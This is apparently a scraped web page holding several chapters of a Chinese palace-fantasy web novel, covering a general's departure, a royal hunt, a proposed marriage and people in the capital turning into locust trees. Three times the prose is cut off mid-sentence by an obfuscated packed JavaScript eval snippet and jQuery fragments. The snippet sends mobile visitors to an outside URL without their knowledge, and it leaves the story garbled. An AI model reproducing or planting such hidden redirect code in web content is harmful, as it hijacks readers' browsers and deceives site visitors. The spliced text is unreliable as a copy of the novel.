周昭懊恼道:“裴砚还没见过霍将军,我说好带他见见的。”她四下张望,流筝道:“公主,裴砚跟小喜前面牵马车去了,你瞧,那不就来了?” 周澈看了眼远远走来的裴砚,笑道:“你倒是对这少年上心。” 二人说着话,折杞也从莲花楼里出来。 他身边并未跟着随从,周昭见他孤零零一人,不禁怜惜道:“折杞,你怎么一个人?” 折杞今年还不满十六,一脸稚气未脱,甜甜笑道:“昭姐姐,我一个人惯了。” 折杞越是这么说,周昭越心疼他年少孤苦,便让折杞跟他们同坐一辆马车回宫。折杞略微惶恐,特别是坐在周澈身边时犹显不安,周昭笑说:“你不必怕五哥。” 折杞才敢抬头看了周澈一眼,周澈亦微微一笑,道:“我们在母后宫里见过的。” 折杞方道:“是了,我听皇娘娘说五殿下不常出来走动,我早该去殿下宫里拜访。” 周昭问道:“折杞,你今日怎么来了?” 她这话问完才觉得不妥,难道沈博安能宴请他们,就不能请折杞吗? 折杞勉强笑道:“我也没想到沈总督会请我来,也许是皇娘娘前几日说了嘴让我日后去禁军当差,沈总督才记起我吧。” 宫里尽是拜高踩低之流,以折杞如今不尴不尬的身份,若没有皇后经常扶持,兴许压根没人想起他来。 周昭心想:“看来母后是真喜欢折杞,但以折杞的性子,禁军怕不是个好去处。”她问道:“折杞,你日后有什么打算?” 折杞目露困惑,显然毫无打算。 周澈说道:“小昭,同在禁军,我会照拂他的。” 周昭点点头,道:“那再好不过了。” 开了春就是一年一度的皇家围猎,霍璋却等不到围猎开场,孟舒联合周边小国频频侵扰,过了年只怕又要卷土重来,霍璋只得早早离开盛都回去备战。 临行那日周昭去送,霍璋却端的是一派从容潇洒,摸了摸腰间佩剑,说道:“都说北疆苦寒,我霍璋偏爱那高山冷雪。” 又道:“殿下,有句话叫‘明枪易躲,暗箭难防’。殿下孤身在盛都,万望珍重。” 其实哪有什么偏爱,边关苦寒外人读来只是轻飘飘的四个字,压在将士身上则是沉甸甸的皑皑白雪和漫天黄沙。 可要不这么说,怎么劝得动一颗心甘愿离开故土? 周昭知道他的意思,抿唇笑道:“这句也送将军,万望珍重。对了将军,我拜托您那件事……” 霍璋道:“殿下放心,一有消息我便送信回来。但咱们找了两年不见下落……” 周昭叹了口气:“尽人事,听天命吧……裴砚,来。将军,这就是我跟你提过的裴砚。” 霍璋拍了拍裴砚的肩膀:“殿下都跟我说了,那一年是你拼死送信,有心了。” 裴砚似乎并没有周昭想象中看见崇拜之人那么兴奋,只是道:“能为霍将军做事是我的福气。” 燕飞跟赵六子同样依依不舍,赵六子端坐马上,挥手告别道:“阿鸢,常来看俺们!” 霍璋一巴掌拍在赵六子后脑,低声笑骂道:“不知轻重的东西。” 他策马回身,神采飞扬,笑道:“殿下,保重!” 千军万马一路向北浩浩荡荡而去,马蹄扬起沙尘翻滚,不知迷了谁的眼。 裴砚小声道:“殿下,他们走了。”周昭应了声,叹息道:“咱们也回去罢。” 二人骑马回城,周昭放慢步调,道:“裴砚,有的时候我很羡慕你。” 裴砚轻勒缰绳,道:“殿下总不会羡慕我孑然一身,无牵无挂吧。” 周昭被他说中,微笑道:“如果我是你,我便调转马头,策马向北。” 裴砚淡淡道:“殿下心有牵挂,也有牵挂着殿下的人,是件好事儿。从前我觉得牵挂是件麻烦事儿,不仅麻烦,还很愚蠢。后来又不这么想。” 周昭觉得这话耳熟,侧过脸看着裴砚,若有所思道:“裴砚,你很像我从前一位朋友。” 裴砚微微一笑,自嘲道:“哦?看来你那位朋友也是个可怜人。” 在北疆这两年,周昭从未间断打听萧十六的消息,但萧十六这个人就好像在无妄海凭空消失了,再也找不见。如今见裴砚同萧十六年纪相仿,又是一样无亲无故,不由多了几分亲近。 “可怜谈不上,却是个有趣的人。”周昭回忆往事,唇角露出笑来,“有趣,脾气古怪……裴砚,左右一路无聊,你愿意跟我讲讲你从前的事儿吗?” “没什么好讲的。”裴砚又道,“我若说了,殿下可能会觉得无趣。” “怎么会呢?” 裴砚想了想,说道:“无外乎就是一生下来就没了爹娘,东躲西藏长大,后来实在藏不下去了,又跑出来找条活路。” 他说的轻描淡写,好像在说旁人身上发生的事情,周昭一阵沉默,问道:“所以你跑去北疆当了兵?” 裴砚不置可否,算是默认。 周昭又问:“你有什么很想做的事情吗?嗯......换个词儿,期许,裴砚你有什么期许吗?” 裴砚摇摇头,回答:“不知道,应该没有吧。” 周昭道:“人人都有一个期许,譬如父皇想四海安定,国泰民安,霍将军想北疆无战事,至于大哥......我想他应该是想做皇储。” 这里据皇城还有段距离,周昭说话也比平时随意。裴砚看向她,问道:“殿下呢?殿下的期许是什么?” “好啊裴砚,你学会耍赖了,是我先问你的。”周昭玩笑道。她目视前方,过了阵子,轻声道,“我想师父活过来,想再看看他。” 裴砚低下头没说话,周昭一口气说完,心中反而畅快许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907030|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,偏过头道:“该你说了,裴砚。” 裴砚似乎认真想了想,答道:“我想自由自在地活一回,就像现在这样。” 周昭忍不住笑道:“裴砚,你的心愿很容易实现呢。” 裴砚也淡淡一笑:“也许吧。” 盛都连绵不断的雪天终于彻底放晴,南疆又传来捷报,宣庆帝龙颜大悦,命钦天监重新择良期,将围猎的日子提前了近半月。 皇帝随口一说,可苦了当差的官员,不得不紧锣密鼓安排围猎事宜。 这样一来,在禁军当个闲职的周澈不得不亲自往猎场跑。周昭不忍周澈劳累辛苦,因此只要能代劳的统统揽下来。裴砚自然跟着周昭跑上跑下,就连折杞都听了消息跑来帮忙。 周澈靠在软椅上闭目养神,暗暗笑道:“小昭,你这样跑来南衙,大哥知道要不高兴。” 周昭后悔不迭:“早知如此,那日我就该应了父皇的话,五哥你也不必大冷天往这地方来。” 南衙的羽林军懒散惯了,本来不服周澈这位身娇体弱的小王爷,但上回盗墓贼一事沾周澈的光得了皇帝赏赐,鼻子灵些的,早就嗅到盛都里的风向要变了,因此不消几日就对周澈毕恭毕敬起来,这份恭敬里头自然包括了一道而来的周昭。 一人捧着围场的猎物名册,说道:“两位殿下有所不知,围猎最重要的是护卫陛下安全,实则最琐碎的是前期围场,搭建营地之类的杂活。本来这活儿合该禁军两个营一起干,但咱们的人去北衙好几回,别说总督大人,连北衙统领的面儿都没见着。北衙的人一问就是人不外借,唉,难!” 周昭凑在周澈耳边小声道:“五哥,看来总督大人气量忒小。上回拉拢你不成,想出这等招数来。” 周澈睁开眼睛,问那士兵:“往年围猎怎么安排?” 对方没料到周澈会这么问,结巴道:“啊往年……” 这时一个身高八尺,皮肤黝黑的男子大踏步走来,他一身羽林军服,虽然五官并不出彩,却也称得上气宇轩昂四个字。 周昭正打量着,男子人还未走到跟前,一巴掌先拍在那士兵后脑勺上,骂道:“这点儿小事儿都办不好,值得拿来叨扰两位殿下?” “哎呦统领!您不是在家养病吗?好啦?”士兵缩了缩脖子,递上一个笑面孔。 被称作统领的男人朝周昭二人深深拜道:“下官闫斯年。”他抬起头,又道:“早就该来二位殿下跟前点卯,前些日子我打猎伤了腿脚,耽误了,望二位殿下莫怪。” 周澈见过闫斯年几面,如今才是第一回说上话,微笑道:“闫统领客气了,算来我比你官职低,合该我早些去府上拜访的。” 几人寒暄一番,闫斯年接过名册翻了几下,不问自答道:“往年也是北衙负责护卫,咱们负责围场。这也没什么大不了,北衙吃香嘛,不过今年提前了半月,这混小子倒不算报假,人手是紧张些。” 闫斯年身上却没有羽林军惯有的那股子懒散气,十分干练,这样的人屈就在南衙这样的小地方,难免会有郁郁不得志之感,但眼前这个人却不然,语气之中透着股天然的洒脱。 “依统领高见,如何是好?”周昭问道。 闫斯年道:“我再亲自跑一趟北衙,那陈子明虽然是个碎嘴子,眼高于顶,也跟我喝过几次酒,总不至于要几个兵都不给吧。” 周澈兄妹二人对视一眼,均知这事儿没这么好办。 闫斯年又哪里知道莲花楼一事,还当陈子明会卖他个面子,周昭道:“一个陈子明好说,就怕……” 就怕陈子明背后牵扯出来的。 她欲言又止,周澈洞穿她的心思,说道:“我也这么想,不过此事也没到那地步。” 周澈脸色略微苍白,说起话来也是轻声细语,虽胸有城府却坦荡明澈,让人如沐春风,好像有天大的事儿在周澈面前也能尘埃落定。 周昭明白了他的意思,微笑道:“我懂了,咱们不如以静制动。一个小小的南衙,误了围猎大事,想必最着急的还是那位总督大人。闫统领,我想,你不必跑这一趟了。” 75. 第 75 章 宣庆二十五年春,天子携皇室宗亲与文武百官前往北苑猎场。 北苑位于盛都以北三十里,靠近皇陵,历来都是皇家专用猎场。 时值三月初春,天气转暖,万物复苏,正是狩猎好时节。 仪仗之下,宣庆帝微阖双目,气色较去年隆冬好上不少。 礼部尚书李知远躬身道:“陛下,吉时已到。” 宣庆帝睁开眼睛,抬手道:“卜岁吧。” 台下百官身穿各色骑装,连周澈今日都罕见穿着一身劲装。 周驰发冠高束,眉宇间压着几分威严,说道:“往年都是国师卜岁,今年换了人,不知会卜出什么卦象来......”沈博安附和道:“我大周威震四海,当然是好卦。” 周驰转头问道:“小妹,你说说。” 周昭见那卜岁一应物品,本就睹物思人,勉强笑道:“小妹说不上来。” 沈博安佯装惊讶道:“国师难道没有教公主殿下占卜之术吗?” 这回围猎提前了半月,本以为能跟南衙那位小王爷好好“叙叙旧”,谁知对方派人来了几趟就再也没提借人的事儿,沈博安那一口气憋到十天前,眼看围猎在即,终于忍不住放了北衙的人去帮忙。 他心气儿不顺,便拿这话来刺一刺周昭。 李知远笑说:“总督大人,占卜乃是下等人学的东西,公主殿下金枝玉叶,自然不会学这个了。” 沈博安道:“哦,尚书大人说得对,沈某倒是忘了。” 二人一唱一和,周昭倒不觉得自己有什么,只是听不得有人说江梅棠不好,欲争辩几句,周澈暗中拍了拍她的衣袖,低声道:“父皇看着呢。” 周昭只好忍耐,小声道:“师父在时,这些人巴结都来不及。” 周澈微微摇头,没说什么。 等了多时,迟迟不见卜官回禀,宣庆帝问道:“卜岁如何?” 卜官为难道:“回陛下,微臣连卜三次,皆呈震卦。震卦属木,木旺于春,只是......” 宣庆帝蹙眉道:“只是什么?” 卜官又看了一眼卦象,大着胆子回禀道:“只是这卦象非吉非凶,三卦吉凶之间来回摇摆,筮不过三,故臣不敢再卜。” “......”宣庆帝不大满意,挥手道,“下去罢。要是国师还在......” 卜官连忙谢恩退下,沈博安不以为意,低声对左右道:“依沈某看,这卜官道行太浅,话不可信。” 宣庆帝起身道:“诸位爱卿,近日赤霞关、南疆接连告捷,朕心甚悦。今日围猎,亦是为彰显大周国威。猎得多者,朕重重有赏!” 百官俯首谢恩道:“陛下万岁!” 宣庆帝免了礼,看上去心情不错,道:“把朕的千张弓拿来!” 那弓重达三十斤,弓身刺金蟒,是宣庆帝还是王爷时所用之物。宣庆帝握着那张弓,轻轻抚摸道:“这弓随朕多年,可惜不曾见过沙场......明鸢,你来。” 周昭微惊,起身上前,宣庆帝将弓交到周昭手里,怜爱道:“明鸢是第一次跟哥哥们来围猎,这把弓朕今日赐给你,莫要辜负了。” 言罢,宣庆帝在周昭手背轻轻拍了两下,周昭只觉手上弓箭有千斤重,低着头道:“谢父皇赏赐,儿臣知道了。” 周驰脸色不大好看,周澈微笑道:“大哥,当年你第一次来围猎,父皇也赏了不少东西。明鸢那时候还很小,嚷嚷着也要向父皇讨赏赐,你抱着明鸢坐在马上,哄着说要抓只兔子送给她。后来兔子是抓着了,明鸢也被吓得大哭,大哥还记得吗?” 周驰面容和缓些,弯起唇角道:“明鸢还是小时候乖些......长大了,愈发生分。” 周驰的目光沉下去,周澈道:“咱们兄妹四个一同长大,身上流着一样的血。只要大哥愿意,生分不了。” “......”周驰似笑非笑道,“五弟今年又打算什么都不捕?” 周澈低笑道:“大哥莫要拿我寻开心。” 沈博安凑上前来,说道:“五殿下宅心仁厚,沈某佩服得很!” 周驰打量沈博安几眼,道:“听说总督大人带了美人在侧,今年围猎怕是心有余、力不足了。” 沈博安笑而不语,周驰难免觉得他行事蠢笨,难当大用。他翻身上马,居高临下道:“五弟!告诉小妹一声,我不会让着她的!驾!” 百官各自都散了,周昭手握重弓走过来。 她一袭深绯色骑装,脚踩软皮靴,腰悬柳叶刀。长发编成数股细细的辫子,发尾又系着一根绯色丝带,肤白如雪,双眸有神,连沈博安见惯了美人,都忍不住感叹道:“啧啧,公主殿下出落得愈发绝色了......” 他言语轻浮,周澈面露鄙夷,沈博安没讨到好,独自讪讪离开。 周昭走近道:“五哥,猎场风大,莫要在风口站久了。” 周澈笑道:“你五哥又不是娇小姐,风一吹就跑了。” 此时裴砚牵了马过来,周澈道:“小昭,你别管我了,快去吧。父皇赐你宝弓,可不能空手而归。” 周昭垂眸应了,抬头又是眉眼俱笑:“五哥,我打只雪狐狸给你解闷儿,好不好?” 她说着扬鞭策马,叫道:“裴砚,跟我走!” 绯色身影如离弦之箭,裴砚紧随其后,二人双双往南去了。 周昭心思不在讨赏,又不猎杀幼崽,所以在林中兜了半个多时辰,收获并不算丰盛。 裴砚跟在周昭身后,他单手握了只长枪搭在肩头,枪尖挑了只皮毛黝黑的野狼,找话说道:“殿下,你的这匹马很漂亮。” 周昭摸了摸狼牙的脑袋,笑说:“是啊,送我狼牙的那位也是位爱美的主儿。” 裴砚问道:“原来这马是殿下朋友送的。” 周昭正要说话,却瞅见前面树叶微动,露出一撮雪白来,周昭比了个手势,搭弓欲射,那团雪白突然从树后跃起,原来不是雪狐狸,而是个穿白衣的少年。 周昭吓出一身冷汗,放下弓叫道:“折杞!你躲在那儿做什么?” 折杞面如土色,磕磕巴巴道:“昭、昭姐姐,我......” 他手里也拿了张弓,但远不如周昭手上的好,甚至连裴砚的都不如。 周昭问道:“围猎怎地不带个人跟着,这地方危险,莫要伤着自个人。” 折杞勉强笑了笑,低着头道:“原本是有人跟着我的,我走散了......” 周昭心道:“母后虽然疼惜折杞,但他身份尴尬,性子又软,想来这些年过得并不好。” 她偏过头道:“裴砚,你去跟着折杞。” 裴砚挑了挑眉毛,很不给面子地拒绝道:“我只跟着殿下。” 折杞愈发尴尬,连连后退道:“昭姐姐,你们不用管我,我、我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911918|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能找到回去的路!” 周昭哭笑不得,只好又对裴砚说:“裴砚,你把咱们的猎物分他一半儿,然后送他出去。” 裴砚老大不情愿地下了马,一个声音自林间传来—— “多大的人了,还这么没出息!” 来人一身苍蓝底色骑装,腰间斜挎一把弯刀,身材高大,双目炯炯。 周昭惊喜叫道:“长淮!” 她翻身下马,奔出数十步,谢景张开双臂将周昭一把抱住,在她后背轻拍了两下,笑道:“阿昭,好久不见。” 两年时间一晃而过,谢景已比周昭高出许多,肤色也比从前黑些,眉眼英气逼人,周身气度则较从前张扬外露多了几分沉稳。 周昭冷不防被谢景抱住,不由愣了愣。 这里虽然僻静,但万一被人瞧了去又要生出是非,长淮怎么突然…… 好在谢景很快放开她,哈哈笑道:“阿昭!你果然长大了,怎么人都傻了!” 一只手臂挡在二人中间,裴砚扬着下巴道:“谢景殿下,自重。” 谢景打量裴砚几眼,问道:“这人谁啊?” 周昭疑惑道:“长淮,这是裴砚啊,两年前不是你送他来盛都的吗?” 谢景略一思索,道:“哦哦,想起来了,好像是叫裴什么来着。” 他眉头微蹙,又道:“那时候你不是快死了吗?后来病又好了?哎不重要,阿昭,还是说说你,这几年过得好吗?” “挺好的。”周昭点点头,“你呢,怎地突然出现在这儿了?” 前些日子就听说谢景要来盛都,但周昭没料到会在猎场相见。 谢景道:“我昨日就到盛都了,已经见过陛下,陛下特准我来参观围猎。瞒着不说,是想给你个惊喜。” 周昭问道:“刚才怎么不见你?” 谢景眸光暗淡,道:“刚才是去见师父了。” 北苑离苍界山不远,提及江梅棠,二人神色都略有感伤,周昭道:“是我不好,没看好师父。” 谢景摇头道:“这不怪你。” 他目光掠过一丝凶狠,咬牙切齿道:“等我抓到那贼,砍了他的头去祭拜师父!” 二人叙完旧,谢景才接着刚才的话说:“折杞这小子,怎么还是没长进。” 折杞被他看得心里发毛,但到底比从前长了几岁,不会动不动就哭,他低声唤道:“谢景哥哥......” 谢景走过去摸了摸狼牙,那枣红烈马对他十分亲近,脑袋在谢景掌心蹭了又蹭。 谢景道:“阿昭,狼牙被你养得很好,就是马鞭旧了,有机会我送你个新的。” 周昭笑而不语,谢景看了看裴砚准备分给折杞的猎物,道:“收起来吧。折杞,你跟我走。” 这便是要帮折杞打猎物,周昭笑而不语,心说谢景还是吃软不吃硬的性子。 裴砚走过来,看着二人背影道:“谢景殿下还是一点儿没变。” 裴砚语气里的敌意很明显,周昭不由想到两年前这二人初次见面就不大愉快,忍不住道:“裴砚,来了盛都之后,你跟长淮是有什么过节吗?” 裴砚道:“过节谈不上。” 周昭问道:“刚才长淮说你生病了,怎么回事儿?” “哦,那时候来盛都不大适应这里的气候,又受着伤,所以生了场病。后来谢景殿下回黎国去了,估计还当我死了吧。” 76. 第 76 章 晚宴点起火把,北苑许久不曾这么热闹过。 猎物最多的是平南王周驰,不仅猎的最多,还给宣庆帝献上一只成年花斑虎。 次多是周昭,她果真抓了只雪狐狸送给周澈,献给帝后的则是两只双眸黛蓝的梅花鹿。 令人意外的是那位默默无闻的质子折杞,竟也收获颇丰。 宣庆帝瞧不出喜怒,依着皇后,给了折杞禁军参军一职,其余则依着往年惯例,各自赏赐了些无关紧要的。 王公贵族坐在左侧,大臣们坐在右侧,女宾们则有专门的坐席。觥筹交错间,有人道:“明鸢殿下今年也快十八了吧,不知要下嫁给谁家的公子少爷?” “公子少爷?咱们陛下可就这么一个宝贝女儿,驸马必然是人中龙凤里再挑好的。” 百官纷纷点头,这其中冒出来一个声音道:“我看黎国那位就很好。” 四下安静了一瞬,沈博安继续道:“那谢景跟明鸢殿下青梅竹马,我瞧着般配得很。刚才我的人还看到,公主跟黎国那位搂搂抱抱……” 宣庆帝向下扫了一眼,笑说:“众卿在议论何事?也说来让朕听听。” 李知远坐的离沈博安最近,答道:“回陛下,臣等是羡慕这席间一对璧人,养眼得很呐。” 宣庆帝问道:“哦?” 李知远继续道:“陛下您瞧,明鸢殿下跟黎国谢景殿下,是不是一对璧人?” 周昭本来低头跟谢景说话,一众目光落在他二人身上,宣庆帝看了看,语气莫测道:“明鸢跟长淮自小一同长大,情谊深厚也是应该的。” 沈博安趁机道:“陛下,依臣看,不如乘此机会给两位殿下赐婚,也算一桩美谈呐!” 此言一出,周昭面露不快,周澈亦眉头紧锁。 周驰则低头饮酒,看不清神色。 周昭站出来道:“父皇,儿臣还小,还想在父皇母后膝下多侍奉几年。总督大人说这些,为时尚早吧。” 沈博安无赖笑道:“我随口一说罢了,再说男女之事乃人之常情,公主殿下又何必不好意思呢?” 宣庆帝打量各人神情,转向谢景,问道:“长淮,你怎么看?” “......”谢景道,“全凭陛下做主。” 周昭本以为谢景会一口回绝,谁知对方打了她个措手不及,不由道:“父皇!” 皇后适时起身道:“陛下,昭儿还小,过两年再议不迟。” 宣庆帝不发一言,也无人再敢说什么。 一名侍卫神色匆匆上前,附在沈博安耳边说了句什么,沈博安脸色大变。 恰在此时,一声尖叫划破夜空,来报信的宫人满面惊恐,未至跟前便跌了一跤,打翻桌上琉璃盏,叫道:“妖怪!” 尖叫声此起彼伏,宣庆帝霍然站起,周驰拔剑四顾,高声喝道:“护驾!” 一时间席间乱作一团,只听人人口中都在喊妖怪,但压根看不到哪里有所谓妖怪的影子。 混乱之中,周昭眼疾手快抓住刚才报信的宫人,问道:“什么妖怪?话说清楚!” 那宫人趴在地上瑟瑟发抖,指了指来时的方向,道:“公、公主殿下,真的有妖怪!” 周昭丢开他,向前奔出数十步,先是闻到一股似曾相识的幽香,一个面容随之闯入她眼中。 那女子一身粉白纱裙,面容娇艳无比,正是那日莲花楼见过的女子。 但不同的是,那从衣袖中露出来的却不是美人玉臂,而是两根乌黑丑陋的木头! 周昭愣在原地,那女子满脸是泪,张着两只“木头手臂”奔走道:“我、我不是妖怪!” 身后周澈也认出女子来,惊讶道:“这是怎么一回事儿?” 裴砚拉住周昭,小声道:“殿下别过去!” 女子看见周澈,像是看见了希望,边往这边跑边呼喊道:“殿下救我!殿——” 她话音未落,一道雪白剑芒在眼前一闪而过,沈博安收了剑,厉声道:“还不把妖人拖下去!” 女子咽喉已断,那张美艳的脸上眼泪犹在滑落。 鲜血洒了一地,溅在周澈脚面上,他面容惨白,吓得不轻。周昭扶住他道:“五哥!” 周澈带着少见的怒意问道:“为何不问清楚就杀人?” 沈博安阴笑道:“五殿下看清楚了,这是妖怪附身。” 他头也不回地离开,实际双脚都在发软。这女子正是沈博安近日新宠陈夫人,那日周澈没收,如此美人沈博安自然不会放过。 其实前几日沈博安就听自己的美妾抱怨,说最近双手不太灵便,胳膊也抬不起来,沈博安还专门请了大夫来瞧,本以为没什么大事儿。 谁知道今天手下来报,说新夫人长出来两根木头手臂! 人是他沈博安带来的,如果惊了圣驾,那就是他的罪责。沈博安这才当机立断,管她是人是妖,先一刀杀了再说! “妖怪”已死,尸首带到宣庆帝面前。 沈博安跪在边上忐忑不安,说道:“回陛下的话,此女虽然是臣府上的,但绝对不是妖怪!一定是被什么妖物附了身,臣担心妖物图谋不轨,这才大义灭亲将其杀死,可怜臣这新夫人......” 沈博安说着留下几滴泪来,宣庆帝半信半疑道:“不是妖怪?是妖怪附身?” “千真万确!”沈博安指天发誓道,“陛下,臣前几个月还带夫人去莲花楼吃饭,不光莲花楼的人可以作证,公主殿下、公主殿下也见过的!” 宣庆帝看向周昭,周昭点头道:“儿臣确实见过总督夫人一面,但隔得远,是不是妖物,儿臣看不清楚。” “殿下你!”沈博安正欲再说,宣庆帝制止道:“好了!明鸢又没有一双会识妖物的眼睛!” “陛下说的是......” 宣庆帝看着那具尸首问道:“那是什么木头?” “回陛下,是槐木。” 周驰道:“五弟,你们南衙不是负责围猎事宜吗?难道没有发现,有什么可疑的东西混进来了?” 周澈低头道:“父皇,此事是儿臣办得不好。” 周驰跟着道:“父皇,先不论这女子是妖,还是被妖所害。这北苑猎场不干净,父皇还是早些起驾回宫的好。” 宣庆帝抬眸,目光沉沉,说道:“就因为两根烂木头,难道就要朕躲回宫里吗?” “儿臣并非此意......” 宣庆帝不快离席,坚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16917936|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持不肯回宫。 此后几天虽人心惶惶,北苑却风平浪静。那具长着槐木手臂的尸体一把火烧了个干净,没人再敢提起那一晚发生的事情。 禁军守卫愈发森严,不敢有丝毫懈怠,周昭每日陪着周澈查点来往名册,忙得昏天黑地,等再见着谢景说上话已经是两日之后。 周昭记起晚宴赐婚一事,问道:“长淮,你那日做什么要答应父皇赐婚?” 谁知谢景道:“咱们都是皇子,婚姻大事本就由不得自己做主。如果日后要跟自己讨厌的人过一辈子,还不如咱们两个过。再说周朝强盛,难道我还敢说个‘不’字吗?我以为,这对咱们都是件好事。” 周昭一时没话说,叹息道:“我竟不知,你会如此消极。” 谢景蹙着眉头道:“这两年不太平,黎国只能继续依附周朝才能勉强生存。阿昭,你又不是不知道,这两年北疆打得天翻地覆,父皇夹在中间,很是不好过,身体也差了许多。” 周昭道:“长淮,你比从前稳重很多。” 谢景笑道:“是吗?” 周昭点点头,问道:“祭拜完师父,你是不是最近要回去了?” 谢景道:“嗯,过两天就回黎国了。本来想来盛都多待会儿,但我看你也忙得很。” 周昭勉强一笑,此时裴砚跟着闫斯年一道匆匆跑来,神色凝重,他看了谢景一眼,道:“殿下,那东西又出现了。” 这回不在北苑,而是盛都城内。 跟被杀掉的陈夫人一模一样,那人不光双臂变成槐木,连双脚都开始木质化。 起初还当是胳膊上生了疮,医馆大夫往他双臂扎针,谁料一针下去,针却断了。 后来又挖了那些烂肉,仍是不行。恰逢听说北苑猎场出了怪物,被禁军当场斩杀。 那人心里害怕,携家带口连夜出城,谁知在城门口突然双腿也变成槐木,走不了路摔了个跟斗,这才被守卫发现抓了个正着。 百官接连上奏,恳请宣庆帝回宫。 当天下午,仪仗队便从北苑猎场匆忙离开,回宫去了。 周澈自北苑回来便一病不起,不光如此,沈博安也告病不朝,禁军无人,加之宣庆帝旧疾复发,回盛都第二日,便下令平南王代行总督一职。 周驰转动拇指象牙扳指,问道:“小妹,你觉得这是什么妖物?” 周昭微微摇头,回答道:“我看不像妖物。不管是陈夫人还是新抓的那人,从前都是普通人。” “我也觉得不像。”周驰点头道,“但普通人又怎么会变成那副模样,说来说去还是跟妖脱不了干系。” 周昭问道:“大哥觉得,该如何处置那人?” 周驰斩钉截铁道:“关起来,若再异化,斩了。” 周昭不置可否,二人同去牢狱,那人哭天喊地痛苦不堪,叫道:“大人!小人真的不是妖怪,小人也不知道怎么了,突然就变成这个样子!小人、小人一定是得了什么怪病!恳请两位大人派大夫给小人瞧瞧,千万别杀我啊!大人!” 他双手双脚都变成槐木,更奇怪的是,那槐树竟好像活着似的,比昨天还要粗壮些。 周驰满脸嫌恶,侍卫来报:“殿下!不好了!” 77. 第 77 章 “慌什么!说。” 那侍卫道:“城中、城中又……” 正说着,牢狱里关着的那人突然发出撕心裂肺的尖叫,周昭定睛一看,骇道:“大哥!快看!” 侍卫连连后退,面露惊恐,叫道:“槐树,这槐树活了!” 只见狱中传来嘎吱嘎吱的破土声,那人尖叫连连,眼看着自己的双脚变成树根插进地面,与此同时,他的手臂树干也开始缓慢地蠕动生长。 “妖、妖怪!”那人两眼一翻,昏过去了。 周驰终于不复淡定,下意识握住周昭的手,将她往后带了带,语气不稳道:“小妹别怕。” 二人匆忙赶到宫外,城南早就尖叫声此起彼伏,一夜之间竟又有五个人变成槐树,医馆前堆满了人,大夫却不敢接诊,嚎哭声接连不断。 闫斯年跑过来,躬身道:“二位殿下,这些……人,看是如何处置?” 周驰眉头紧锁,道:“先带回去。” 闫斯年看他一眼,问道:“是继续往大理寺带,还是……” 周昭提议道:“大哥,大理寺是关重犯的。这些人若都关进大理寺,恐怕会民心不稳……” 周驰点头道:“带去禁军大营,专门辟个地方关。” 闫斯年应了一声,又犯了难。 这禁军两个大营,不知道眼前两位主子要往哪个营关。闫斯年偷偷看了周驰一眼,又不敢再问。 他本就是南衙统领,于情于理没有往北衙塞人的道理,于是暗自做主,将这些化妖之人关进南衙十六卫去了。 周昭知道后并未怪罪,闫斯年松了口气,又听这位年轻的公主殿下问道:“统领,沈总督告假有多少时日了?” 闫斯年道:“自围猎回来告假,有小半月了。” “小半月……”周昭沉吟道,“咱们看看去。” 闫斯年从前没跟周昭打过交道,按照宫里公主的规格命人备下马车软轿,才见到周昭跟一少年坐于马上,周昭蹙眉反问道:“事态紧急,统领要坐马车前去吗?” 闫斯年有苦说不出,当即上马随周昭而去。 到了沈府,却见府门紧闭,里面鸦雀无声。 裴砚前去叫门,许久才有人应,见了周昭就要把门关上。 裴砚一脚踢过去,周昭制止道:“裴砚。” 裴砚果然不再往里闯,闫斯年瞧着新奇,暗道这位公主殿下不一般,府里侍卫也胆子忒大,连禁军总督的大门都敢踹。 但他没空细想,周昭已然进去,闫斯年随即跟上。 刚入沈府,首先映入眼帘的就是一棵参天大树。 “又是槐树……”周昭眯起眼睛,裴砚拦在她身前:“殿下,先别靠近。” 闫斯年抓住刚才开门的小厮,问道:“公主殿下亲自登门拜访,怎么还不见总督大人?” “总、总督大人……”小厮抖得厉害,说不出一句完整的话。 闫斯年松开他,周昭道:“你们有没有觉得,这总督府太安静了些……” 闫斯年点头道:“的确很安静,这么大的总督府,怎么就见到这一个仆人。” 周昭三人绕着总督府转了一圈儿,别说仆人,连本该告假在家的沈博安影子都没见着。 这种诡异的安静一直持续到后院马厩,周昭嗅出几分不对来,问:“你们有没有闻到什么味道?” “好像是……是血腥味儿。” 周昭道:“还有一股香味,是槐花香。” 闫斯年往气味散发出来的地方走,离马厩越近,味道越浓。 零星几匹马,瘦得可怜,无精打采抬起眼皮看了闫斯年一眼,闫斯年抽出剑来,剑尖在那堆草料里挑了挑。 这一挑不要紧,从里面咕噜噜滚出五六具尸体来! 闫斯年骇了一跳,周昭也惊得后退半步,裴砚却浑然不怕,走上前去查看,蹙眉道:“这些都是异化之后的人。” 